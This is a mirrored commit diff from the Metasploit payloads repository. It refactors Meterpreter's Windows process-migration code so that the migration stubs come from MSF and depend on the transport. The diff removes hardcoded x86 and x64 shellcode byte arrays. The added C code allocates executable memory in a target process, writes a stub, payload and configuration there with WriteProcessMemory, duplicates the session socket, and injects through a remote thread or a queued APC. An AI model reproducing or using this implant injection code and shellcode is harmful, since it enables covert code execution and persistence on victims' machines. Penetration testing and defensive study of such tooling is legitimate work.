mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-24 18:16:24 +01:00
Move migration stub code to MSF
This commit changes the code so that the migration stubs are generated in MSF and are transport specific (so that we only do the work we need to).
This commit is contained in:
parent
a39757a912
commit
ff56b36a98
c/meterpreter/source
@ -2,63 +2,19 @@
|
||||
#include "base_inject.h"
|
||||
#include "../../../config.h"
|
||||
|
||||
// see 'external/source/shellcode/windows/x86/src/migrate/migrate.asm'
|
||||
BYTE migrate_stub_x86[] = "\xFC\x8B\x74\x24\x04\x81\xEC\x00\x20\x00\x00\xE8\x89\x00\x00\x00"
|
||||
"\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B"
|
||||
"\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C"
|
||||
"\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C"
|
||||
"\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B"
|
||||
"\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0"
|
||||
"\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24"
|
||||
"\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01"
|
||||
"\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51"
|
||||
"\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D\x68\x33\x32\x00\x00\x68"
|
||||
"\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00"
|
||||
"\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x8D\x5E"
|
||||
"\x10\x53\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\xFF"
|
||||
"\x36\x68\x1D\x9F\x26\x35\xFF\xD5\xFF\x56\x08";
|
||||
|
||||
// see 'external/source/shellcode/windows/x64/src/migrate/migrate.asm'
|
||||
BYTE migrate_stub_x64[] = "\xFC\x48\x89\xCE\x48\x81\xEC\x00\x20\x00\x00\x48\x83\xE4\xF0\xE8"
|
||||
"\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48"
|
||||
"\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48"
|
||||
"\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C"
|
||||
"\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52"
|
||||
"\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B"
|
||||
"\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48"
|
||||
"\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34"
|
||||
"\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41"
|
||||
"\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8"
|
||||
"\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40"
|
||||
"\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E"
|
||||
"\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0"
|
||||
"\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x49\xBE\x77"
|
||||
"\x73\x32\x5F\x33\x32\x00\x00\x41\x56\x48\x89\xE1\x48\x81\xEC\xA0"
|
||||
"\x01\x00\x00\x49\x89\xE5\x48\x83\xEC\x28\x41\xBA\x4C\x77\x26\x07"
|
||||
"\xFF\xD5\x4C\x89\xEA\x6A\x02\x59\x41\xBA\x29\x80\x6B\x00\xFF\xD5"
|
||||
"\x4D\x31\xC0\x41\x50\x41\x50\x4C\x8D\x4E\x10\x6A\x01\x5A\x6A\x02"
|
||||
"\x59\x41\xBA\xEA\x0F\xDF\xE0\xFF\xD5\x48\x89\xC7\x48\x8B\x0E\x41"
|
||||
"\xBA\x1D\x9F\x26\x35\xFF\xD5\xFF\x56\x08";
|
||||
|
||||
// We force 64bit algnment for HANDLES and POINTERS in order
|
||||
// to be cross compatable between x86 and x64 migration.
|
||||
typedef struct _MIGRATECONTEXT
|
||||
DWORD get_migrate_context(LPDWORD contextSize, LPCOMMONMIGRATECONTEXT* contextBuffer)
|
||||
{
|
||||
union
|
||||
*contextBuffer = (LPCOMMONMIGRATECONTEXT)calloc(1, sizeof(COMMONMIGRATCONTEXT));
|
||||
|
||||
if (*contextBuffer == NULL)
|
||||
{
|
||||
HANDLE hEvent;
|
||||
BYTE bPadding1[8];
|
||||
} e;
|
||||
return ERROR_OUTOFMEMORY;
|
||||
}
|
||||
|
||||
union
|
||||
{
|
||||
LPBYTE lpPayload;
|
||||
BYTE bPadding2[8];
|
||||
} p;
|
||||
*contextSize = sizeof(COMMONMIGRATCONTEXT);
|
||||
|
||||
WSAPROTOCOL_INFO info;
|
||||
|
||||
} MIGRATECONTEXT, * LPMIGRATECONTEXT;
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBufer)
|
||||
{
|
||||
@ -527,7 +483,8 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
|
||||
LPVOID lpMigrateStub = NULL;
|
||||
LPBYTE lpMemory = NULL;
|
||||
LPBYTE lpUuid = NULL;
|
||||
MIGRATECONTEXT ctx = { 0 };
|
||||
LPCOMMONMIGRATECONTEXT ctx = NULL;
|
||||
DWORD ctxSize = 0;
|
||||
DWORD dwMigrateStubLength = 0;
|
||||
DWORD dwPayloadLength = 0;
|
||||
DWORD dwProcessID = 0;
|
||||
@ -552,7 +509,7 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
|
||||
dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH);
|
||||
|
||||
// Get the length of the payload buffer
|
||||
dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN);
|
||||
dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PAYLOAD_LEN);
|
||||
|
||||
// Receive the actual migration payload buffer
|
||||
lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);
|
||||
@ -560,6 +517,10 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
|
||||
// Get handles to the updated UUIDs if they're there
|
||||
lpUuid = packet_get_tlv_value_raw(packet, TLV_TYPE_UUID);
|
||||
|
||||
// Get the migrate stub information
|
||||
dwMigrateStubLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_STUB_LEN);
|
||||
lpMigrateStub = packet_get_tlv_value_raw(packet, TLV_TYPE_MIGRATE_STUB);
|
||||
|
||||
dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength);
|
||||
|
||||
// If we can, get SeDebugPrivilege...
|
||||
@ -593,13 +554,19 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
|
||||
remote->config_create(remote, lpUuid, &config, &configSize);
|
||||
dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config);
|
||||
|
||||
if (config->session.comms_fd)
|
||||
if (remote->transport->get_migrate_context != NULL)
|
||||
{
|
||||
// Duplicate the socket for the target process if we are SSL based
|
||||
if (WSADuplicateSocket(config->session.comms_fd, dwProcessID, &ctx.info) != NO_ERROR)
|
||||
{
|
||||
BREAK_ON_WSAERROR("[MIGRATE] WSADuplicateSocket failed")
|
||||
}
|
||||
dwResult = remote->transport->get_migrate_context(remote->transport, dwProcessID, hProcess, &ctxSize, (PBYTE*)&ctx);
|
||||
}
|
||||
else
|
||||
{
|
||||
dwResult = get_migrate_context(&ctxSize, &ctx);
|
||||
}
|
||||
|
||||
if (dwResult != ERROR_SUCCESS)
|
||||
{
|
||||
dprintf("[MIGRATE] Failed to create migrate context: %u", dwResult);
|
||||
break;
|
||||
}
|
||||
|
||||
// Create a notification event that we'll use to know when it's safe to exit
|
||||
@ -607,71 +574,57 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
|
||||
hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
if (!hEvent)
|
||||
{
|
||||
BREAK_ON_ERROR("[MIGRATE] CreateEvent failed")
|
||||
BREAK_ON_ERROR("[MIGRATE] CreateEvent failed");
|
||||
}
|
||||
|
||||
// Duplicate the event handle for the target process
|
||||
if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx.e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS))
|
||||
if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx->e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS))
|
||||
{
|
||||
BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed")
|
||||
BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed");
|
||||
}
|
||||
|
||||
// Get the architecture specific process migration stub...
|
||||
if (dwDestinationArch == PROCESS_ARCH_X86)
|
||||
{
|
||||
lpMigrateStub = (LPVOID)&migrate_stub_x86;
|
||||
dwMigrateStubLength = sizeof(migrate_stub_x86);
|
||||
}
|
||||
else if (dwDestinationArch == PROCESS_ARCH_X64)
|
||||
{
|
||||
lpMigrateStub = (LPVOID)&migrate_stub_x64;
|
||||
dwMigrateStubLength = sizeof(migrate_stub_x64);
|
||||
}
|
||||
else
|
||||
{
|
||||
SetLastError(ERROR_BAD_ENVIRONMENT);
|
||||
dprintf("[MIGRATE] Invalid target architecture: %u", dwDestinationArch);
|
||||
break;
|
||||
}
|
||||
dprintf("[MIGRATE] Duplicated Event Handle: 0x%x", (UINT_PTR)ctx->e.hEvent);
|
||||
|
||||
// Allocate memory for the migrate stub, context, payload and configuration block
|
||||
lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + sizeof(MIGRATECONTEXT) + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + ctxSize + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (!lpMemory)
|
||||
{
|
||||
BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed")
|
||||
BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed");
|
||||
}
|
||||
|
||||
// Calculate the address of the payload...
|
||||
ctx.p.lpPayload = lpMemory + dwMigrateStubLength + sizeof(MIGRATECONTEXT);
|
||||
ctx->p.lpPayload = lpMemory + dwMigrateStubLength + ctxSize;
|
||||
|
||||
// Write the migrate stub to memory...
|
||||
dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength);
|
||||
if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL))
|
||||
{
|
||||
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed")
|
||||
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed");
|
||||
}
|
||||
|
||||
// Write the migrate context to memory...
|
||||
dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, sizeof(MIGRATECONTEXT));
|
||||
if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, &ctx, sizeof(MIGRATECONTEXT), NULL))
|
||||
dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, ctxSize);
|
||||
if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, ctx, ctxSize, NULL))
|
||||
{
|
||||
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed")
|
||||
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed");
|
||||
}
|
||||
|
||||
// Write the migrate payload to memory...
|
||||
dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx.p.lpPayload, dwPayloadLength);
|
||||
if (!WriteProcessMemory(hProcess, ctx.p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL))
|
||||
dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx->p.lpPayload, dwPayloadLength);
|
||||
if (!WriteProcessMemory(hProcess, ctx->p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL))
|
||||
{
|
||||
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed")
|
||||
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed");
|
||||
}
|
||||
|
||||
// finally write the configuration stub
|
||||
dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx.p.lpPayload + dwPayloadLength, configSize);
|
||||
if (!WriteProcessMemory(hProcess, ctx.p.lpPayload + dwPayloadLength, config, configSize, NULL))
|
||||
dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx->p.lpPayload + dwPayloadLength, configSize);
|
||||
if (!WriteProcessMemory(hProcess, ctx->p.lpPayload + dwPayloadLength, config, configSize, NULL))
|
||||
{
|
||||
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed")
|
||||
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed");
|
||||
}
|
||||
|
||||
free(ctx);
|
||||
|
||||
// First we try to migrate by directly creating a remote thread in the target process
|
||||
if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
|
||||
{
|
||||
@ -680,7 +633,7 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
|
||||
// If that fails we can try to migrate via a queued APC in the target process
|
||||
if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
|
||||
{
|
||||
BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed")
|
||||
BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed");
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -75,4 +75,21 @@ typedef struct _MetsrvConfig
|
||||
// \x00
|
||||
} MetsrvConfig;
|
||||
|
||||
// We force 64bit alignment for HANDLES and POINTERS in order
|
||||
// to be cross compatible between x86 and x64 migration.
|
||||
typedef struct _COMMONMIGRATECONTEXT
|
||||
{
|
||||
union
|
||||
{
|
||||
HANDLE hEvent;
|
||||
BYTE bPadding1[8];
|
||||
} e;
|
||||
|
||||
union
|
||||
{
|
||||
LPBYTE lpPayload;
|
||||
BYTE bPadding2[8];
|
||||
} p;
|
||||
} COMMONMIGRATCONTEXT, * LPCOMMONMIGRATECONTEXT;
|
||||
|
||||
#endif
|
||||
|
@ -136,13 +136,15 @@ typedef enum
|
||||
TLV_TYPE_LIBRARY_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 400), ///! Represents a path to the library to be loaded (string).
|
||||
TLV_TYPE_TARGET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 401), ///! Represents a target path (string).
|
||||
TLV_TYPE_MIGRATE_PID = TLV_VALUE(TLV_META_TYPE_UINT, 402), ///! Represents a process identifier of the migration target (unsigned integer).
|
||||
TLV_TYPE_MIGRATE_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///! Represents a migration payload size/length in bytes (unsigned integer).
|
||||
TLV_TYPE_MIGRATE_PAYLOAD_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///! Represents a migration payload size/length in bytes (unsigned integer).
|
||||
TLV_TYPE_MIGRATE_PAYLOAD = TLV_VALUE(TLV_META_TYPE_STRING, 404), ///! Represents a migration payload (string).
|
||||
TLV_TYPE_MIGRATE_ARCH = TLV_VALUE(TLV_META_TYPE_UINT, 405), ///! Represents a migration target architecture.
|
||||
TLV_TYPE_MIGRATE_TECHNIQUE = TLV_VALUE(TLV_META_TYPE_UINT, 406), ///! Represents a migration technique (unsigned int).
|
||||
TLV_TYPE_MIGRATE_BASE_ADDR = TLV_VALUE(TLV_META_TYPE_UINT, 407), ///! Represents a migration payload base address (unsigned int).
|
||||
TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_VALUE(TLV_META_TYPE_UINT, 408), ///! Represents a migration payload entry point (unsigned int).
|
||||
TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 409), ///! Represents a unix domain socket path, used to migrate on linux (string)
|
||||
TLV_TYPE_MIGRATE_STUB_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 410), ///! Represents a migration stub length (uint).
|
||||
TLV_TYPE_MIGRATE_STUB = TLV_VALUE(TLV_META_TYPE_STRING, 411), ///! Represents a migration stub (string).
|
||||
|
||||
// Transport switching
|
||||
TLV_TYPE_TRANS_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 430), ///! Represents the type of transport to switch to.
|
||||
|
@ -39,6 +39,7 @@ typedef void(*PTransportReset)(Transport* transport, BOOL shuttingDown);
|
||||
typedef BOOL(*PTransportInit)(Transport* transport);
|
||||
typedef BOOL(*PTransportDeinit)(Transport* transport);
|
||||
typedef void(*PTransportDestroy)(Transport* transport);
|
||||
typedef DWORD(*PTransportGetMigrateContext)(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, PBYTE* contextBuffer);
|
||||
typedef Transport*(*PTransportCreate)(Remote* remote, MetsrvTransportCommon* config, LPDWORD size);
|
||||
typedef void(*PTransportRemove)(Remote* remote, Transport* oldTransport);
|
||||
typedef void(*PConfigCreate)(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size);
|
||||
@ -242,6 +243,7 @@ typedef struct _Transport
|
||||
PTransportDestroy transport_destroy; ///! Destroy the transport.
|
||||
PServerDispatch server_dispatch; ///! Transport dispatch function.
|
||||
PPacketTransmit packet_transmit; ///! Transmits a packet over the transport.
|
||||
PTransportGetMigrateContext get_migrate_context; ///! Creates a migrate context that is transport-specific.
|
||||
STRTYPE url; ///! Full URL describing the comms in use.
|
||||
VOID* ctx; ///! Pointer to the type-specific transport context;
|
||||
TimeoutSettings timeouts; ///! Container for the timeout settings.
|
||||
|
@ -5,6 +5,13 @@
|
||||
#include "../../common/common.h"
|
||||
#include <ws2tcpip.h>
|
||||
|
||||
// TCP-transport specific migration stub.
|
||||
typedef struct _TCPMIGRATECONTEXT
|
||||
{
|
||||
COMMONMIGRATCONTEXT common;
|
||||
WSAPROTOCOL_INFOA info;
|
||||
} TCPMIGRATECONTEXT, * LPTCPMIGRATECONTEXT;
|
||||
|
||||
// These fields aren't defined unless the SDK version is set to something old enough.
|
||||
// So we define them here instead of dancing with SDK versions, allowing us to move on
|
||||
// and still support older versions of Windows.
|
||||
@ -1155,6 +1162,37 @@ void transport_write_tcp_config(Transport* transport, MetsrvTransportTcp* config
|
||||
}
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Create a migration context that is specific to this transport type.
|
||||
* @param transport Transport data to create the configuration from.
|
||||
* @param targetProcessId ID of the process that we will be migrating into.
|
||||
* @param targetProcessHandle Handle to the target process.
|
||||
* @param contextSize Buffer that will receive the size of the generated context.
|
||||
* @param contextBufer Buffer that will receive the generated context.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
static DWORD get_migrate_context_tcp(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, PBYTE* contextBuffer)
|
||||
{
|
||||
LPTCPMIGRATECONTEXT ctx = (LPTCPMIGRATECONTEXT)calloc(1, sizeof(TCPMIGRATECONTEXT));
|
||||
|
||||
if (ctx == NULL)
|
||||
{
|
||||
return ERROR_OUTOFMEMORY;
|
||||
}
|
||||
|
||||
// Duplicate the socket for the target process if we are SSL based
|
||||
if (WSADuplicateSocketA(((TcpTransportContext*)transport->ctx)->fd, targetProcessId, &ctx->info) != NO_ERROR)
|
||||
{
|
||||
free(ctx);
|
||||
return WSAGetLastError();
|
||||
}
|
||||
|
||||
*contextSize = sizeof(TCPMIGRATECONTEXT);
|
||||
*contextBuffer = (PBYTE)ctx;
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Creates a new TCP transport instance.
|
||||
* @param config The TCP configuration block.
|
||||
@ -1184,6 +1222,7 @@ Transport* transport_create_tcp(MetsrvTransportTcp* config)
|
||||
transport->get_socket = transport_get_socket_tcp;
|
||||
transport->ctx = ctx;
|
||||
transport->comms_last_packet = current_unix_timestamp();
|
||||
transport->get_migrate_context = get_migrate_context_tcp;
|
||||
|
||||
return transport;
|
||||
}
|
||||
|
Loading…
x
Reference in New Issue
Block a user